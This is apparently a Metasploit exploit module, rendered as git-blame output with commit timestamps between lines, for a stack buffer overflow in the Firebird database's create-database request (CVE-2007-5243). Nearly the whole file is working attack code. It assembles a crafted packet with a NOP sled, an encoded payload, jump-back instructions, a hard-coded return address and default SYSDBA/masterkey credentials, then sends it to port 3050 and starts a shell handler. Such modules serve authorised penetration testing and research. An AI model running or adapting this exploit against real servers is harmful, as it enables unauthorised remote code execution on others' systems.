2007-10-04 03:03:13 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2007-10-04 03:03:13 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-07 19:19:55 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = AverageRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::BruteTargets
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Firebird Relational Database isc_create_database() Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack buffer overflow in Borland InterBase
|
|
|
|
by sending a specially crafted create request.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Ramon de C Valle',
|
|
|
|
'Adriano Lima <adriano[at]risesecurity.org>',
|
|
|
|
],
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'win',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2007-5243' ],
|
|
|
|
[ 'OSVDB', '38606' ],
|
|
|
|
[ 'BID', '25917' ],
|
|
|
|
[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 512,
|
|
|
|
'BadChars' => "\x00\x2f\x3a\x40\x5c",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Brute Force', { } ],
|
|
|
|
# '\Device\HarddiskVolume1\WINDOWS\system32\unicode.nls'
|
|
|
|
[
|
|
|
|
'Firebird WI-V2.0.0.12748 WI-V2.0.1.12855 (unicode.nls)',
|
|
|
|
{ 'Length' => [ 756 ], 'Ret' => 0x00370b0b }
|
|
|
|
],
|
|
|
|
# Debug
|
|
|
|
[
|
|
|
|
'Debug',
|
|
|
|
{ 'Length' => [ 756 ], 'Ret' => 0xaabbccdd }
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 1,
|
|
|
|
'DisclosureDate' => 'Oct 03 2007'
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(3050)
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
# Create database parameter block
|
|
|
|
def dpb_create
|
|
|
|
isc_dpb_user_name = 28
|
|
|
|
isc_dpb_password = 29
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
isc_dpb_version1 = 1
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
user = 'SYSDBA'
|
|
|
|
pass = 'masterkey'
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
dpb = ''
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
dpb << [isc_dpb_version1].pack('c')
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
dpb << [isc_dpb_user_name].pack('c')
|
|
|
|
dpb << [user.length].pack('c')
|
|
|
|
dpb << user
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
dpb << [isc_dpb_password].pack('c')
|
|
|
|
dpb << [pass.length].pack('c')
|
|
|
|
dpb << pass
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
dpb
|
|
|
|
end
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Calculate buffer padding
|
|
|
|
def buf_padding(length = '')
|
|
|
|
remainder = length.remainder(4)
|
|
|
|
padding = 0
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if remainder > 0
|
|
|
|
padding = (4 - remainder)
|
|
|
|
end
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
padding
|
|
|
|
end
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit_target(target)
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
target['Length'].each do |length|
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
connect
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Create database
|
|
|
|
op_create = 20
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Extra padding to trigger the exception
|
|
|
|
extra_padding = 1024 * 16
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
buf = ''
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Operation/packet type
|
|
|
|
buf << [op_create].pack('N')
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Id
|
|
|
|
buf << [0].pack('N')
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Length
|
|
|
|
buf << [length + extra_padding].pack('N')
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Nop block
|
|
|
|
buf << make_nops(length - payload.encoded.length - 13)
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Payload
|
|
|
|
buf << payload.encoded
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Jump back into the nop block
|
|
|
|
buf << "\xe9" + [-516].pack('V')
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Jump back
|
|
|
|
buf << "\xeb" + [-7].pack('c')
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Random alpha data
|
|
|
|
buf << rand_text_alpha(2)
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Target
|
|
|
|
buf << [target.ret].pack('V')
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Random alpha data
|
|
|
|
buf << rand_text_alpha(extra_padding)
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Padding
|
|
|
|
buf << "\x00" * buf_padding(length + extra_padding)
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Database parameter block
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Create database parameter block
|
|
|
|
dpb = dpb_create
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Database parameter block length
|
|
|
|
buf << [dpb.length].pack('N')
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Database parameter block
|
|
|
|
buf << dpb
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Padding
|
|
|
|
buf << "\x00" * buf_padding(dpb.length)
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sock.put(buf)
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
select(nil,nil,nil,4)
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
handler
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2007-10-04 03:03:13 +00:00
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|